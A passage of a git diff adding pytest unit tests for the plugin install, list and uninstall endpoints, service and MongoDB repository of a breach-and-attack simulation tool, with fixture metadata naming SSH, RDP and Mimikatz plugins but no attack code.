+ assert resp.status_code == HTTPStatus.UNPROCESSABLE_ENTITY + + +@pytest.mark.parametrize("error", [RetrievalError, StorageError, Exception]) +def test_install_plugin__binary_internal_server_error(agent_plugin_service, flask_client, error): + agent_plugin_service.install_plugin_archive = MagicMock(side_effect=error) + resp = flask_client.put( + get_url_for_resource(InstallAgentPlugin), + data=AGENT_PLUGIN, + follow_redirects=True, + ) + + assert resp.status_code == HTTPStatus.INTERNAL_SERVER_ERROR + + +@pytest.mark.parametrize("error", [RetrievalError, StorageError, Exception]) +def test_install_plugin__json_internal_server_error(agent_plugin_service, flask_client, error): + agent_plugin_service.install_plugin_from_repository = MagicMock(side_effect=error) + resp = flask_client.put( + get_url_for_resource(InstallAgentPlugin), + data=REQUEST_JSON_DATA, + follow_redirects=True, + headers={"Content-Type": "application/json"}, + ) + + assert resp.status_code == HTTPStatus.INTERNAL_SERVER_ERROR + + +@pytest.mark.parametrize( + "request_data", [b"{}", None, "string", b'{"bogus":"vogus"', b'{"bogus": "bogus"}'] +) +def test_install_plugin__json_bad_request(agent_plugin_service, flask_client, request_data): + resp = flask_client.put( + get_url_for_resource(InstallAgentPlugin), + data=request_data, + follow_redirects=True, + headers={"Content-Type": "application/json"}, + ) + + assert resp.status_code == HTTPStatus.BAD_REQUEST diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_installed_agent_plugins_manifests.py b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_installed_agent_plugins_manifests.py new file mode 100644 index 00000000000..5b1a02e6f9b --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_installed_agent_plugins_manifests.py @@ -0,0 +1,102 @@ +from http import HTTPStatus +from unittest.mock import MagicMock + +import pytest +from tests.common import StubDIContainer +from tests.monkey_island import InMemoryAgentPluginRepository +from tests.unit_tests.common.agent_plugins.test_agent_plugin_manifest import ( + FAKE_NAME, + FAKE_NAME2, + FAKE_TYPE, +) +from tests.unit_tests.monkey_island.cc.fake_agent_plugin_data import ( + FAKE_AGENT_PLUGIN_1, + FAKE_AGENT_PLUGIN_2, +) +from tests.unit_tests.monkey_island.conftest import get_url_for_resource + +from common import OperatingSystem +from monkey_island.cc.repositories import RetrievalError +from monkey_island.cc.services.agent_plugin_service import IAgentPluginService +from monkey_island.cc.services.agent_plugin_service.agent_plugin_service import AgentPluginService +from monkey_island.cc.services.agent_plugin_service.flask_resources import ( + InstalledAgentPluginsManifests, +) + +FAKE_PLUGIN_NAME = "plugin_abc" + + +@pytest.fixture +def agent_plugin_repository(): + return InMemoryAgentPluginRepository() + + +@pytest.fixture +def agent_plugin_service(agent_plugin_repository): + return AgentPluginService(agent_plugin_repository, MagicMock()) + + +@pytest.fixture +def flask_client(build_flask_client, agent_plugin_service): + container = StubDIContainer() + container.register_instance(IAgentPluginService, agent_plugin_service) + + with build_flask_client(container) as flask_client: + yield flask_client + + +def test_get_installed_plugins_manifests(flask_client, agent_plugin_repository): + agent_plugin_repository.store_agent_plugin(OperatingSystem.LINUX, FAKE_AGENT_PLUGIN_1) + agent_plugin_repository.store_agent_plugin(OperatingSystem.WINDOWS, FAKE_AGENT_PLUGIN_2) + + expected_response = { + "Exploiter": { + FAKE_NAME: { + "description": None, + "link_to_documentation": "http://www.beefface.com", + "name": FAKE_NAME, + "plugin_type": FAKE_TYPE, + "version": "1.0.0", + "safe": False, + "remediation_suggestion": None, + "supported_operating_systems": ["linux", "windows"], + "target_operating_systems": ["linux"], + "title": "Remote Desktop Protocol exploiter", + }, + FAKE_NAME2: { + "description": None, + "link_to_documentation": "http://www.beefface.com", + "name": FAKE_NAME2, + "plugin_type": FAKE_TYPE, + "version": "1.0.0", + "safe": False, + "remediation_suggestion": None, + "supported_operating_systems": ["linux", "windows"], + "target_operating_systems": ["linux"], + "title": "Remote Desktop Protocol exploiter", + }, + } + } + + resp = flask_client.get(get_url_for_resource(InstalledAgentPluginsManifests)) + + assert resp.status_code == HTTPStatus.OK + assert resp.json == expected_response + + +def test_get_installed_plugins_manifests__empty(flask_client): + resp = flask_client.get(get_url_for_resource(InstalledAgentPluginsManifests)) + + assert resp.status_code == HTTPStatus.OK + assert resp.json == {} + + +def test_get_installed_plugins_manifests__server_error(flask_client, agent_plugin_repository): + def raise_retrieval_error(): + raise RetrievalError + + agent_plugin_repository.get_all_plugin_manifests = raise_retrieval_error + + resp = flask_client.get(get_url_for_resource(InstalledAgentPluginsManifests)) + + assert resp.status_code == HTTPStatus.INTERNAL_SERVER_ERROR diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_uninstall_agent_plugin.py b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_uninstall_agent_plugin.py new file mode 100644 index 00000000000..84efc58d70f --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/flask_resources/test_uninstall_agent_plugin.py @@ -0,0 +1,84 @@ +from http import HTTPStatus +from unittest.mock import MagicMock + +import pytest +from tests.common import StubDIContainer +from tests.unit_tests.common.agent_plugins.test_agent_plugin_manifest import FAKE_TYPE +from tests.unit_tests.monkey_island.cc.fake_agent_plugin_data import FAKE_AGENT_PLUGIN_1 +from tests.unit_tests.monkey_island.conftest import get_url_for_resource + +from common.agent_plugins import AgentPluginType +from monkey_island.cc.services.agent_plugin_service import IAgentPluginService +from monkey_island.cc.services.agent_plugin_service.errors import PluginUninstallationError +from monkey_island.cc.services.agent_plugin_service.flask_resources import UninstallAgentPlugin + +REQUEST_DATA = ( + f'{{"plugin_type": "{FAKE_TYPE}", "name": "{FAKE_AGENT_PLUGIN_1.plugin_manifest.name}"}}' +) + + +@pytest.fixture +def agent_plugin_service(): + return MagicMock(spec=IAgentPluginService) + + +@pytest.fixture +def flask_client(build_flask_client, agent_plugin_service): + container = StubDIContainer() + container.register_instance(IAgentPluginService, agent_plugin_service) + + with build_flask_client(container) as flask_client: + yield flask_client + + +def test_uninstall_plugin(flask_client, agent_plugin_service): + resp = flask_client.post( + get_url_for_resource(UninstallAgentPlugin), + data=REQUEST_DATA, + ) + + assert resp.status_code == HTTPStatus.OK + agent_plugin_service.uninstall_plugin.assert_called_with( + AgentPluginType(FAKE_TYPE), FAKE_AGENT_PLUGIN_1.plugin_manifest.name + ) + + +@pytest.mark.parametrize( + "type_", + ["DummyType", "ExploiteR"], +) +def test_uninstall_plugin__bad_request_if_type_is_invalid( + flask_client, type_, agent_plugin_service +): + resp = flask_client.post( + get_url_for_resource(UninstallAgentPlugin), + data=f'{{"plugin_type": "{type_}", "name": "name"}}', + ) + + assert resp.status_code == HTTPStatus.BAD_REQUEST + agent_plugin_service.uninstall_plugin.assert_not_called() + + +@pytest.mark.parametrize("error", [Exception, PluginUninstallationError]) +def test_uninstall_plugin__error(flask_client, agent_plugin_service, error): + def raise_error(plugin_type, name): + raise error + + agent_plugin_service.uninstall_plugin = raise_error + + resp = flask_client.post( + get_url_for_resource(UninstallAgentPlugin), + data=b'{"plugin_type": "Payload", "name": "name"}', + ) + + assert resp.status_code == HTTPStatus.INTERNAL_SERVER_ERROR + + +@pytest.mark.parametrize( + "request_data", [b"{}", None, "string", b'{"bogus":"vogus"', b'{"bogus": "bogus"}'] +) +def test_uninstall_plugin__bad_request_data(request_data, flask_client, agent_plugin_service): + resp = flask_client.post(get_url_for_resource(UninstallAgentPlugin), data=request_data) + + assert resp.status_code == HTTPStatus.BAD_REQUEST + agent_plugin_service.uninstall_plugin.assert_not_called() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/test_agent_plugin_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/test_agent_plugin_service.py new file mode 100644 index 00000000000..35b45ee1f95 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/test_agent_plugin_service.py @@ -0,0 +1,353 @@ +from pathlib import Path +from typing import BinaryIO, Callable +from unittest.mock import MagicMock + +import pytest +import requests +import requests_mock +from tests.unit_tests.monkey_island.cc.services.agent_plugin_service.conftest import ( + build_agent_plugin_tar, +) + +from common import OperatingSystem +from common.agent_plugins import ( + AgentPluginRepositoryIndex, + AgentPluginType, + PluginName, + PluginVersion, +) +from monkey_island.cc import Version +from monkey_island.cc.deployment import Deployment +from monkey_island.cc.repositories import RetrievalError +from monkey_island.cc.services.agent_plugin_service.agent_plugin_service import ( + AGENT_PLUGIN_REPOSITORY_DEVELOP_URL, + AgentPluginService, +) +from monkey_island.cc.services.agent_plugin_service.errors import ( + PluginInstallationError, + PluginUninstallationError, +) +from monkey_island.cc.services.agent_plugin_service.i_agent_plugin_repository import ( + IAgentPluginRepository, +) +from monkey_island.cc.services.agent_plugin_service.i_agent_plugin_service import ( + IAgentPluginService, +) + +PLUGIN_ARCHIVE = b"Hello, world!" + +SSH_EXPLOITER = [ + { + "name": "SSH", + "plugin_type": "Exploiter", + "resource_path": "SSH-exploiter-v1.0.0.tar", + "sha256": "862d4fd8c9d6c51926d34ac083f75c99d4fe4c3b3052de9e3d5995382a277a43", + "description": "Attempts a brute-force attack against SSH using known " + "credentials, including SSH keys.", + "version": "1.0.0", + "safe": True, + } +] + +EXPLOITERS = { + "RDP": [ + { + "name": "RDP", + "plugin_type": "Exploiter", + "resource_path": "RDP-exploiter-v1.0.0.tar", + "sha256": "09d6afa5bab988157a9f9ab151b63b068749d1708a1e13a6ab76aaefc2e34ff3", + "description": "Attempts a brute-force attack over RDP using known credentials.", + "version": "1.0.0", + "safe": True, + } + ], + "SSH": SSH_EXPLOITER, +} + +CREDENTIALS_COLLECTORS = { + "Mimikatz": [ + { + "name": "Mimikatz", + "plugin_type": "Credentials_Collector", + "resource_path": "Mimikatz-credentials_collector-v1.0.2.tar", + # SHA of PLUGIN_ARCHIVE + "sha256": "315f5bdb76d078c43b8ac0064e4a0164612b1fce77c869345bfc94c75894edd3", + "description": "Collects credentials from Windows Credential Manager using Mimikatz.", + "version": "1.0.2", + "safe": True, + } + ] +} + + +EXPECTED_SERIALIZED_AGENT_PLUGIN_REPOSITORY_INDEX = { + "timestamp": 1692629886.4792287, + "compatible_infection_monkey_version": "development", + "plugins": { + "Credentials_Collector": CREDENTIALS_COLLECTORS, + "Exploiter": EXPLOITERS, + "Fingerprinter": {}, + "Payload": {}, + }, +} + +EXPECTED_SERIALIZED_AGENT_PLUGIN_REPOSITORY_SIMPLE_INDEX = { + "timestamp": 1692629886.4792287, + "compatible_infection_monkey_version": "development", + "plugins": { + "Credentials_Collector": {}, + "Exploiter": { + "SSH": SSH_EXPLOITER, + }, + "Fingerprinter": {}, + "Payload": {}, + }, +} + +AGENT_PLUGIN_REPOSITORY_INDEX_FILE_URL = f"{AGENT_PLUGIN_REPOSITORY_DEVELOP_URL}/index.yml" + + +@pytest.fixture +def request_mock_instance(): + with requests_mock.Mocker() as m: + yield m + + +@pytest.fixture +def agent_plugin_repository() -> IAgentPluginRepository: + return MagicMock(spec=IAgentPluginRepository) + + +@pytest.fixture +def agent_plugin_repository_index(agent_plugin_repository_index_file): + with open(agent_plugin_repository_index_file, "r") as f: + return f.read() + + +@pytest.fixture +def agent_plugin_repository_index_simple(agent_plugin_repository_index_simple_file): + with open(agent_plugin_repository_index_simple_file, "r") as f: + return f.read() + + +@pytest.fixture +def agent_plugin_service(agent_plugin_repository) -> IAgentPluginService: + version = MagicMock(ispec=Version) + version.deployment = Deployment.DEVELOP + return AgentPluginService(agent_plugin_repository, version) + + +@pytest.mark.parametrize( + "plugin_os, plugin_path", + [ + (OperatingSystem.WINDOWS, "only-windows-vendor-plugin-source-input.tar"), + (OperatingSystem.LINUX, "only-linux-vendor-plugin-source-input.tar"), + ], +) +def test_agent_plugin_service__install_plugin_archive( + plugin_data_dir: Path, + plugin_os: OperatingSystem, + plugin_path: str, + agent_plugin_repository: IAgentPluginRepository, + agent_plugin_service: IAgentPluginService, + build_agent_plugin_tar_with_source_tar: Callable[[Path], BinaryIO], +): + agent_plugin_tar = build_agent_plugin_tar_with_source_tar(plugin_data_dir / plugin_path) + agent_plugin_service.install_plugin_archive(agent_plugin_tar.getvalue()) + + assert agent_plugin_repository.remove_agent_plugin.call_count == 1 + + assert agent_plugin_repository.store_agent_plugin.call_count == 1 + assert agent_plugin_repository.store_agent_plugin.call_args[1]["operating_system"] is plugin_os + + +@pytest.mark.parametrize( + "plugin_path_actual", + ["multi-vendor-plugin-source-input.tar", "cross-platform-plugin-source.tar"], +) +def test_agent_plugin_service__install_plugin_archive_multi( + plugin_data_dir: Path, + plugin_path_actual: str, + agent_plugin_repository: IAgentPluginRepository, + agent_plugin_service: IAgentPluginService, + build_agent_plugin_tar_with_source_tar: Callable[[Path], BinaryIO], +): + agent_plugin_tar = build_agent_plugin_tar_with_source_tar(plugin_data_dir / plugin_path_actual) + agent_plugin_service.install_plugin_archive(agent_plugin_tar.getvalue()) + + assert agent_plugin_repository.remove_agent_plugin.call_count == 1 + assert agent_plugin_repository.store_agent_plugin.call_count == 2 + + +def test_agent_plugin_service__plugin_install_error( + simple_agent_plugin, + plugin_data_dir: Path, + agent_plugin_service: IAgentPluginService, + build_agent_plugin_tar_with_source_tar: Callable[[Path], BinaryIO], +): + agent_plugin_tar = build_agent_plugin_tar( + simple_agent_plugin, manifest_file_name="manifest.idk" + ) + with pytest.raises(PluginInstallationError): + agent_plugin_service.install_plugin_archive(agent_plugin_tar.getvalue()) + + +def test_agent_plugin_service__install_plugin_from_repository(monkeypatch, agent_plugin_service): + mock_requests_get = MagicMock() + mock_requests_get.return_value.content = PLUGIN_ARCHIVE + monkeypatch.setattr("requests.get", mock_requests_get) + monkeypatch.setattr( + agent_plugin_service, + "get_available_plugins", + lambda: AgentPluginRepositoryIndex(**EXPECTED_SERIALIZED_AGENT_PLUGIN_REPOSITORY_INDEX), + ) + monkeypatch.setattr(agent_plugin_service, "install_plugin_archive", MagicMock()) + + agent_plugin_service.install_plugin_from_repository( + plugin_type=AgentPluginType.CREDENTIALS_COLLECTOR, + plugin_name=PluginName("Mimikatz"), + plugin_version=PluginVersion("1", "0", "2"), + ) + + assert ( + mock_requests_get.call_args[0][0] + == f"{AGENT_PLUGIN_REPOSITORY_DEVELOP_URL}/Mimikatz-credentials_collector-v1.0.2.tar" + ) + assert agent_plugin_service.install_plugin_archive.call_count == 1 + + +def test_agent_plugin_service__invalid_hashes(monkeypatch, agent_plugin_service): + mock_requests_get = MagicMock() + mock_requests_get.return_value.content = b"Malicious binary!WoWo" + monkeypatch.setattr("requests.get", mock_requests_get) + monkeypatch.setattr( + agent_plugin_service, + "get_available_plugins", + lambda: AgentPluginRepositoryIndex(**EXPECTED_SERIALIZED_AGENT_PLUGIN_REPOSITORY_INDEX), + ) + monkeypatch.setattr(agent_plugin_service, "install_plugin_archive", MagicMock()) + + with pytest.raises(PluginInstallationError): + agent_plugin_service.install_plugin_from_repository( + plugin_type=AgentPluginType.CREDENTIALS_COLLECTOR, + plugin_name=PluginName("Mimikatz"), + plugin_version=PluginVersion("1", "0", "2"), + ) + + +def test_agent_plugin_service__install_plugin_from_repository__plugin_not_in_repository( + monkeypatch, agent_plugin_service +): + monkeypatch.setattr( + agent_plugin_service, + "get_available_plugins", + lambda: AgentPluginRepositoryIndex(**EXPECTED_SERIALIZED_AGENT_PLUGIN_REPOSITORY_INDEX), + ) + + with pytest.raises(PluginInstallationError): + agent_plugin_service.install_plugin_from_repository( + plugin_type=AgentPluginType.FINGERPRINTER, + plugin_name=PluginName("FindMeIfYouCan"), + plugin_version=PluginVersion("999", "99", "9"), + ) + + +def test_agent_plugin_service__install_plugin_from_repository__empty_index( + monkeypatch, agent_plugin_service +): + monkeypatch.setattr( + agent_plugin_service, + "get_available_plugins", + lambda: AgentPluginRepositoryIndex( + compatible_infection_monkey_version="development", plugins={} + ), + ) + + with pytest.raises(PluginInstallationError): + agent_plugin_service.install_plugin_from_repository( + plugin_type=AgentPluginType.CREDENTIALS_COLLECTOR, + plugin_name=PluginName("Mimikatz"), + plugin_version=PluginVersion("1", "0", "2"), + ) + + +@pytest.fixture +def dynamic_callback(agent_plugin_repository_index, agent_plugin_repository_index_simple): + dynamic_responses = [agent_plugin_repository_index, agent_plugin_repository_index_simple] + + def inner(request, context) -> requests.Response: + nonlocal dynamic_responses + return dynamic_responses.pop(0) + + return inner + + +def test_agent_plugin_service__get_available_plugins( + request_mock_instance, + agent_plugin_service: IAgentPluginService, + agent_plugin_repository_index, + agent_plugin_repository_index_simple, + dynamic_callback: Callable, +): + request_mock_instance.get( + AGENT_PLUGIN_REPOSITORY_INDEX_FILE_URL, + text=dynamic_callback, + ) + actual_index_1 = agent_plugin_service.get_available_plugins(force_refresh=False) + actual_index_2 = agent_plugin_service.get_available_plugins(force_refresh=False) + + assert actual_index_1.dict(simplify=True) == actual_index_2.dict(simplify=True) + assert actual_index_1.dict(simplify=True) == EXPECTED_SERIALIZED_AGENT_PLUGIN_REPOSITORY_INDEX + + +def test_agent_plugin_service__get_available_plugins_refresh( + request_mock_instance, + agent_plugin_service: IAgentPluginService, + agent_plugin_repository_index, + agent_plugin_repository_index_simple, + dynamic_callback: Callable, +): + request_mock_instance.get(AGENT_PLUGIN_REPOSITORY_INDEX_FILE_URL, text=dynamic_callback) + + actual_index_1 = agent_plugin_service.get_available_plugins(force_refresh=False) + actual_index_2 = agent_plugin_service.get_available_plugins(force_refresh=False) + actual_index_3 = agent_plugin_service.get_available_plugins(force_refresh=True) + + assert actual_index_1.dict(simplify=True) == EXPECTED_SERIALIZED_AGENT_PLUGIN_REPOSITORY_INDEX + assert actual_index_1.dict(simplify=True) == actual_index_2.dict(simplify=True) + assert actual_index_3.dict(simplify=True) != actual_index_2.dict(simplify=True) + + +def test_agent_plugin_service__get_available_plugins_exception( + request_mock_instance, + agent_plugin_service: IAgentPluginService, +): + request_mock_instance.get(AGENT_PLUGIN_REPOSITORY_INDEX_FILE_URL, exc=Exception) + with pytest.raises(RetrievalError): + agent_plugin_service.get_available_plugins(force_refresh=True) + + +def test_agent_plugin_service__unistall_agent_plugin_exception( + agent_plugin_repository: IAgentPluginRepository, + agent_plugin_service: IAgentPluginService, +): + def raise_exception(plugin_type, plugin_name): + raise Exception + + agent_plugin_repository.remove_agent_plugin = raise_exception + with pytest.raises(PluginUninstallationError): + agent_plugin_service.uninstall_plugin( + plugin_type=AgentPluginType("Exploiter"), plugin_name="SSH" + ) + + +def test_agent_plugin_service__unistall_agent_plugin( + agent_plugin_repository: IAgentPluginRepository, agent_plugin_service: IAgentPluginService +): + plugin_name = "SSH" + plugin_type = AgentPluginType("Exploiter") + agent_plugin_service.uninstall_plugin(plugin_type, plugin_name) + + agent_plugin_repository.remove_agent_plugin.assert_called_with( + agent_plugin_type=plugin_type, agent_plugin_name=plugin_name + ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/test_mongo_agent_plugin_repository.py b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/test_mongo_agent_plugin_repository.py new file mode 100644 index 00000000000..b60a4099d8e --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/test_mongo_agent_plugin_repository.py @@ -0,0 +1,489 @@ +import copy +from typing import Dict +from unittest.mock import MagicMock + +import gridfs +import mongomock +import pytest +from mongomock.gridfs import enable_gridfs_integration +from pymongo.errors import ConnectionFailure +from tests.data_for_tests.agent_plugin.manifests import ( + CREDENTIALS_COLLECTOR_MANIFEST_1, + CREDENTIALS_COLLECTOR_NAME_1, + EXPLOITER_MANIFEST_1, + EXPLOITER_MANIFEST_2, + EXPLOITER_NAME_1, + EXPLOITER_NAME_2, +) +from tests.unit_tests.common.agent_plugins.test_agent_plugin_manifest import FAKE_NAME +from tests.unit_tests.monkey_island.cc.fake_agent_plugin_data import ( + FAKE_AGENT_PLUGIN_1, + FAKE_PLUGIN_CONFIG_SCHEMA_1, +) + +from common import OperatingSystem +from common.agent_plugins import AgentPlugin, AgentPluginType, PluginName +from monkey_island.cc.repositories import ( + RemovalError, + RetrievalError, + StorageError, + UnknownRecordError, +) +from monkey_island.cc.services.agent_plugin_service.mongo_agent_plugin_repository import ( + MongoAgentPluginRepository, +) + +enable_gridfs_integration() + +EXPECTED_MANIFEST = EXPLOITER_MANIFEST_1 + + +@pytest.fixture +def mongo_client(): + client = mongomock.MongoClient() + + return client + + +@pytest.fixture +def binary_collections(mongo_client) -> Dict[OperatingSystem, gridfs.GridFS]: + collections = {} + for os in OperatingSystem: + collections[os] = gridfs.GridFS( + mongo_client.monkey_island, f"agent_plugins_binaries_{os.value}" + ) + return collections + + +plugin_manifest_dict = EXPLOITER_MANIFEST_1.dict(simplify=True) +plugin_schema_dict = FAKE_PLUGIN_CONFIG_SCHEMA_1 + +basic_plugin_dict = { + "plugin_manifest": plugin_manifest_dict, + "config_schema": plugin_schema_dict, + "supported_operating_systems": ("windows",), +} + +malformed_plugin_dict = copy.deepcopy(basic_plugin_dict) +del malformed_plugin_dict["plugin_manifest"]["title"] +malformed_plugin_dict["plugin_manifest"]["tile"] = "dummy-exploiter" + +typo_in_type_plugin_dict = copy.deepcopy(basic_plugin_dict) +del typo_in_type_plugin_dict["plugin_manifest"]["plugin_type"] +typo_in_type_plugin_dict["plugin_manifest"]["plugin_type"] = "credential_collector" + + +@pytest.fixture +def insert_plugin(mongo_client): + def impl(file, operating_system: OperatingSystem, plugin_dict=None): + if plugin_dict is None: + plugin_dict = copy.deepcopy(basic_plugin_dict) + binaries_collection = gridfs.GridFS( + mongo_client.monkey_island, f"agent_plugins_binaries_{operating_system.value}" + ) + id = binaries_collection.put(file) + plugin_dict.setdefault("binaries", {}) + plugin_dict["binaries"][f"{operating_system.value}"] = id + plugin_manifest_dict = plugin_dict["plugin_manifest"] + mongo_client.monkey_island.agent_plugins.update_one( + { + "plugin_manifest.plugin_type": plugin_manifest_dict["plugin_type"], + "plugin_manifest.name": plugin_manifest_dict["name"], + }, + update={"$set": plugin_dict}, + upsert=True, + ) + + return plugin_dict + + return impl + + +@pytest.fixture +def agent_plugin_repository(mongo_client) -> MongoAgentPluginRepository: + return MongoAgentPluginRepository(mongo_client) + + +@pytest.mark.slow +def test_get_plugin( + plugin_file, insert_plugin, agent_plugin_repository: MongoAgentPluginRepository +): + with open(plugin_file, "rb") as file: + insert_plugin(file, OperatingSystem.WINDOWS) + plugin = agent_plugin_repository.get_plugin( + OperatingSystem.WINDOWS, AgentPluginType.EXPLOITER, EXPLOITER_NAME_1 + ) + + assert plugin.plugin_manifest == EXPECTED_MANIFEST + assert isinstance(plugin.config_schema, dict) + assert len(plugin.source_archive) == 10240 + + +def test_get_plugin__UnknownRecordError_if_not_exist(agent_plugin_repository): + with pytest.raises(UnknownRecordError): + agent_plugin_repository.get_plugin( + OperatingSystem.WINDOWS, AgentPluginType.EXPLOITER, "does_not_exist" + ) + + +def test_get_plugin__RetrievalError_if_bad_plugin( + plugin_file, insert_plugin, agent_plugin_repository: MongoAgentPluginRepository +): + with open(plugin_file, "rb") as file: + insert_plugin(file, OperatingSystem.WINDOWS, malformed_plugin_dict) + + with pytest.raises(RetrievalError): + agent_plugin_repository.get_plugin( + OperatingSystem.WINDOWS, AgentPluginType.EXPLOITER, EXPLOITER_NAME_1 + ) + + +def test_get_plugin__RetrievalError_if_unsupported_os( + plugin_file, insert_plugin, mongo_client, agent_plugin_repository: MongoAgentPluginRepository +): + with open(plugin_file, "rb") as file: + insert_plugin(file, OperatingSystem.WINDOWS) + with pytest.raises(RetrievalError): + agent_plugin_repository.get_plugin( + OperatingSystem.LINUX, AgentPluginType.EXPLOITER, EXPLOITER_NAME_1 + ) + + +def test_get_all_plugin_manifests(plugin_file, insert_plugin, agent_plugin_repository): + dict1 = copy.deepcopy(basic_plugin_dict) + dict2 = copy.deepcopy(basic_plugin_dict) + dict2["plugin_manifest"] = EXPLOITER_MANIFEST_2.dict(simplify=True) + dict3 = copy.deepcopy(basic_plugin_dict) + dict3["plugin_manifest"] = CREDENTIALS_COLLECTOR_MANIFEST_1.dict(simplify=True) + + with open(plugin_file, "rb") as file: + insert_plugin(file, OperatingSystem.WINDOWS, dict1) + insert_plugin(file, OperatingSystem.WINDOWS, dict2) + insert_plugin(file, OperatingSystem.WINDOWS, dict3) + insert_plugin(file, OperatingSystem.LINUX, dict3) + + retrieved_plugin_manifests = agent_plugin_repository.get_all_plugin_manifests() + + assert ( + retrieved_plugin_manifests[AgentPluginType.EXPLOITER][EXPLOITER_NAME_1] == EXPECTED_MANIFEST + ) + assert retrieved_plugin_manifests[AgentPluginType.CREDENTIALS_COLLECTOR] == { + CREDENTIALS_COLLECTOR_NAME_1: CREDENTIALS_COLLECTOR_MANIFEST_1 + } + + +def test_get_all_plugin_manifests__RetrievalError_if_bad_plugin_type( + plugin_file, insert_plugin, agent_plugin_repository +): + dict1 = copy.deepcopy(typo_in_type_plugin_dict) + + with open(plugin_file, "rb") as file: + insert_plugin(file, OperatingSystem.WINDOWS, dict1) + + with pytest.raises(RetrievalError): + agent_plugin_repository.get_all_plugin_manifests() + + +def test_get_all_plugin_manifests__retrieval_error_if_no_connection( + mongo_client, agent_plugin_repository: MongoAgentPluginRepository +): + agent_plugin_repository._agent_plugins_collection.find = MagicMock( + side_effect=ConnectionFailure + ) + + with pytest.raises(RetrievalError): + agent_plugin_repository.get_all_plugin_manifests() + + +def test_get_all_plugin_configuration_schemas(plugin_file, insert_plugin, agent_plugin_repository): + dict1 = copy.deepcopy(basic_plugin_dict) + dict2 = copy.deepcopy(basic_plugin_dict) + dict2["plugin_manifest"] = EXPLOITER_MANIFEST_2.dict(simplify=True) + + with open(plugin_file, "rb") as file: + insert_plugin(file, OperatingSystem.WINDOWS, dict1) + insert_plugin(file, OperatingSystem.WINDOWS, dict2) + + retrieved_plugin_configuration_schemas = ( + agent_plugin_repository.get_all_plugin_configuration_schemas() + ) + + assert ( + retrieved_plugin_configuration_schemas[AgentPluginType.EXPLOITER][EXPLOITER_NAME_1] + == FAKE_PLUGIN_CONFIG_SCHEMA_1 + ) + + assert ( + retrieved_plugin_configuration_schemas[AgentPluginType.EXPLOITER][EXPLOITER_NAME_2] + == FAKE_PLUGIN_CONFIG_SCHEMA_1 + ) + + +def test_get_all_plugin_configuration_schemas__RetrievalError_if_bad_plugin_type( + plugin_file, insert_plugin, agent_plugin_repository +): + dict1 = copy.deepcopy(typo_in_type_plugin_dict) + + with open(plugin_file, "rb") as file: + insert_plugin(file, OperatingSystem.WINDOWS, dict1) + + with pytest.raises(RetrievalError): + agent_plugin_repository.get_all_plugin_configuration_schemas() + + +def test_store_agent_plugin(agent_plugin_repository: MongoAgentPluginRepository): + agent_plugin_repository.store_agent_plugin(OperatingSystem.LINUX, FAKE_AGENT_PLUGIN_1) + + plugin = agent_plugin_repository.get_plugin( + OperatingSystem.LINUX, AgentPluginType.EXPLOITER, PluginName(FAKE_NAME) + ) + assert plugin == FAKE_AGENT_PLUGIN_1 + + +def test_store_agent_plugin__updates_plugin( + mongo_client, agent_plugin_repository: MongoAgentPluginRepository +): + agent_plugin_repository.store_agent_plugin(OperatingSystem.LINUX, FAKE_AGENT_PLUGIN_1) + agent_plugin_repository.store_agent_plugin(OperatingSystem.WINDOWS, FAKE_AGENT_PLUGIN_1) + plugin_dict = mongo_client.monkey_island.agent_plugins.find_one({}) + + assert mongo_client.monkey_island.agent_plugins.count_documents({}) == 1 + assert "linux" in plugin_dict["binaries"].keys() + assert "windows" in plugin_dict["binaries"].keys() + + +def test_store_agent_plugin__excludes_source_archive( + mongo_client, agent_plugin_repository: MongoAgentPluginRepository +): + agent_plugin_repository.store_agent_plugin(OperatingSystem.LINUX, FAKE_AGENT_PLUGIN_1) + + assert mongo_client.monkey_island.agent_plugins.count_documents({}) == 1 + plugin_dict = mongo_client.monkey_island.agent_plugins.find_one({}) + assert "source_archive" not in plugin_dict + + +def test_store_agent_plugin__overwrites_existing_binary( + plugin_file, insert_plugin, agent_plugin_repository: MongoAgentPluginRepository +): + source_archive = b"should be overwritten" + plugin_dict = copy.deepcopy(basic_plugin_dict) + plugin_dict["source_archive"] = source_archive + agent_plugin_repository.store_agent_plugin(OperatingSystem.WINDOWS, AgentPlugin(**plugin_dict)) + expected_source_archive = b"dummy" + plugin_dict["source_archive"] = expected_source_archive + agent_plugin_repository.store_agent_plugin(OperatingSystem.WINDOWS, AgentPlugin(**plugin_dict)) + + plugin = agent_plugin_repository.get_plugin( + OperatingSystem.WINDOWS, AgentPluginType.EXPLOITER, EXPLOITER_NAME_1 + ) + assert plugin.source_archive == expected_source_archive + all_win_binaries = list( + agent_plugin_repository._agent_plugins_binaries_collections[OperatingSystem.WINDOWS].find( + {} + ) + ) + assert len(all_win_binaries) == 1 + + +def test_store_agent_plugin__overwrites_existing_manifest( + plugin_file, insert_plugin, agent_plugin_repository: MongoAgentPluginRepository +): + plugin_dict = copy.deepcopy(basic_plugin_dict) + plugin_dict["source_archive"] = b"dummy" + plugin_dict["plugin_manifest"]["title"] = "fun plugin" + agent_plugin_repository.store_agent_plugin(OperatingSystem.WINDOWS, AgentPlugin(**plugin_dict)) + plugin = agent_plugin_repository.get_plugin( + OperatingSystem.WINDOWS, AgentPluginType.EXPLOITER, EXPLOITER_NAME_1 + ) + assert plugin.plugin_manifest.title == "fun plugin" + + plugin_dict["plugin_manifest"]["title"] = "sad plugin" + agent_plugin_repository.store_agent_plugin(OperatingSystem.WINDOWS, AgentPlugin(**plugin_dict)) + plugin = agent_plugin_repository.get_plugin( + OperatingSystem.WINDOWS, AgentPluginType.EXPLOITER, EXPLOITER_NAME_1 + ) + + assert plugin.plugin_manifest.title == "sad plugin" + + +def 